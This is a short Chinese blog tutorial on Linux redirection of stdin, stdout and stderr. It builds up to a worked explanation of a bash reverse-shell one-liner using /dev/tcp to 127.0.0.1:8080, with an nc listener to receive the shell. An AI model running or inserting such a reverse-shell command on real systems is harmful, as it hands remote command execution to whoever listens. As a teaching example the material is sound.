一個 Linux 重定向的例子

基礎

* 編號 設備
stdin 0 /dev/stdin
stdout 1 /dev/stdout
stderr 2 /dev/stderr

輸出重定向

  • bash -i > /dev/tcp/127.0.0.1/8080 把輸出結果發送到遠程
  • 2>&- 關閉錯誤輸出
  • 2>/dev/null 拋棄錯誤輸出
  • ls qqq >/dev/null 2>&1 把正確輸出拋棄,把錯誤輸出重定向到正確輸出
  • &>/dev/null 把所有輸出都拋棄
  • exec 1>log.txt 把後續所有標準輸出重定向到文件(恢復使用 exec 1>&2

輸入重定向

  • echo whoami | bash -i 使用管道執行命令

分析這個例子:

`(bash -i > /dev/tcp/127.0.0.1/8080 0<&1) &>/dev/null`&

它首先把 bash 的輸出都發送給了 127.0.0.1:8080,並且這個文件的輸出(對應於遠程用戶的輸入命令)重定向到 bash 的標準輸入。爲了不讓本地回顯遠程輸入的命令,它還把這條命令的輸出都發送給了 /dev/null,最後讓這個 shell 在後臺運行。在運行這個命令前,在另一個終端中執行 nc -lp 8080,等待這個反向 shell 的連接吧。

引用

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章